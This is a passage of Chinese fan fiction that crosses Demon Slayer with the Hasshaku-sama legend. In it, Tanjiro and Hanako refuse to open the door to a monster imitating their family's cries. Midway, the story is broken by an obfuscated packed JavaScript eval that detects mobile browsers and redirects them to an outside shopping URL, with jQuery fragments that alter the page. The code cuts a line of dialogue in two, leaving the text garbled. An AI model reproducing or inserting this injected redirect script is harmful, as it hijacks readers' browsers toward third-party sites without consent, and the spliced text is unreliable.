“炭治郎哥哥的鼻子很灵的,你不是我爷爷。” 随着此话一出,整个房间开始震动起来。 “啵啵啵…” 那个奇怪的声音又响了起来。 “快开门!开门!” “你们这两个不听话的小孩!” “开门!” “碰碰碰…” 门外声音开始变调,声音中充满了怒火,那疯狂的敲门声,一下又接着一下,力气之大,似乎下一刻就要把门拍碎,吓得花子捂住耳朵。 “呜呜呜…” “炭治郎哥哥。” 炭治郎将花子护在怀里:“别怕,她进不来的。” 他紧紧地抱着花子,一边盯大门,目光锐利似乎透过那木门看到八尺大人气急败坏的样子。 “啵啵啵…” “啵啵啵…” “啵啵啵…啵啵啵…啵啵…” 八尺大人的声音,伴随着晃动的房间,如同魔咒般在耳边环绕着,门外的八尺大人恨不得现在就把手伸进了来,抓走里面的小孩。 炭治郎拥紧花子,把她往被褥那里带。 花子紧紧抓着炭治郎小声地抽泣着,丝毫不敢大声哭泣,年幼的她只能尽可能地忍耐着。 房间的震动持续了很久,直到很久之后,也不知道时间过去了多久,屋外的动静终于渐渐小了下来,就连敲门声也不再继续。 花子这才小心翼翼地探出头来。 “她走了吗?” 只见她的鼻子红红的,就像受惊的小兔。 炭治摇摇头:“不知道。” 门外的味道是淡了不少,但是他还不能放松警惕。 过了好久之后,门外是真的一点动静也没有了,花子长长地松了一口气。 但她才刚放下心中的大石,又有脚步声传来,她吓得将头埋在哥哥怀里。 “咚咚咚。” 听到熟悉的敲门声,花子是半点开门的心思也没有了。 “炭治郎哥哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17348218|194698||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,花子你们怎么样了?” “我看到八尺大人走了,来看看你们。” “是祢豆子姐姐。”花子竖起耳朵,有些疑惑地看向炭治郎。 毕竟他们刚刚遇到假爷爷,万一这个祢豆子姐姐也是假的呢? 炭治郎被问得一愣,因为他真的闻到祢豆子的味道!虽然气息有些淡,但他肯定那是祢豆子的味道。 “祢豆子,你还记得我跟你说过什么吗?”他试探性地问道。 门外的祢豆子轻笑:“我知道哥哥,无论如何你们今晚别开门。” “我会保护哥哥和花子的。” 这确实是祢豆子会说出来的话。 炭治郎心下却更加担忧了,正当他想着门外究竟是个什么情况时,熟悉的“啵啵”声再次响起,下一刻响起祢豆子的惨叫声。 “啊啊啊!” “啵啵啵!” “祢豆子!” “祢豆子姐姐!” 门外的祢豆子被八尺大人抓住了,炭治郎和花子都听到那骨头断裂的声音,和血溅在门上的声音。 祢豆子的惨叫和八尺大人充满愉快声音的“啵啵”声。 “不要!不要打祢豆子姐姐!” 刚刚还忍住没有大哭的花子,这下彻底没忍住“哇”地一下哭了出来,并且一下跑向大门,伸手要去开门。 炭治郎依旧是将她一把抱住,阻止她开门的行为。 “炭治郎哥哥,快救救祢豆子姐姐。” 听着门外祢豆子惨烈的叫声,炭治郎心里也不好过,他神色焦急。 “别开门,千万别开门。”祢豆子虚弱地声音响起。 “祢豆子姐姐。” “花子乖,姐姐不疼。” 祢豆子轻声安慰着花子,但下一秒重重的闷响声起,又伴随着一声骨头断裂的声音,惨叫声再次响起。 “呜呜呜…祢豆子姐姐…” 花子的哭声,祢豆子的惨叫声,扰得炭治郎思绪纷乱。 门外确实是有祢豆子的气息,但是… “别上当,那是八尺引你们出去的手段。” “只要在这里,你们就是安全的。” 无惨那平静到毫无人气的声音,反而在这种时刻给了炭治郎一点安心。 只是一想到如果自己真的猜错了的话,便会后悔终生,他几乎是恳求地寻问着无惨。 “无惨,祢豆子不在门外对吗?告诉我。” “你要相信你自己的嗅觉,他有出过错吗?” “别因为出事的是自己的家人,而乱了阵脚,用你自己的心去看。” 哪怕是转世了,这个炭治郎还是一样,一旦涉及家人的事,总是会乱了心神,居然连这么简单的陷阱也看不出来了。 被无惨这么一点拔,炭治郎也算是恢复了一点理智。 是啊,且不说门外的气息太淡了,就说祢豆子答应过自己,今晚会守着家人们,绝对不会出来。 就冲这一点,真正的祢豆子就不会出现在这里。 他将花子藏在身后边,冲着门口大喊道:“死心吧,我们不会开门的!” “祢豆子根本就不在门外!” 似乎是为证明炭治郎的想法是错的,门外针对祢豆子的折磨越来越惨烈,祢豆子的哀号声仿佛是一根刺般紧紧地扎进炭治郎和花子的心里。 逐渐地祢豆子哀号声变小,转而又变成了竹雄的声音。 “这里发生什么事了?” “你把祢豆子姐姐怎么了!” “啊啊啊!你这个怪物放开我!” 随即便是竹雄撕心裂肺的惨叫声,接连听到两个家人被折磨的声音,花子和炭治郎早就泪流满面了,两人紧紧抱在一起,安抚着彼此,忍着刀割般的疼痛听着门外的动静… 直到就连竹雄的喊声也变得嘶哑起来,逐渐微弱… “咚咚咚…” “咚咚…” 微弱的敲门声响起… “救我…救救我们…” “哥哥…花子…” “开门呐。” 两人的声音响起…满是哀求… 是假的!都是假的!炭治郎在内心告诫着自己,可即使知道是假的,但听到祢豆子和竹雄那祈求的声音,他还是忍不住心痛… “开门呐…” “我不想死哥哥…” “哥哥…哥哥…”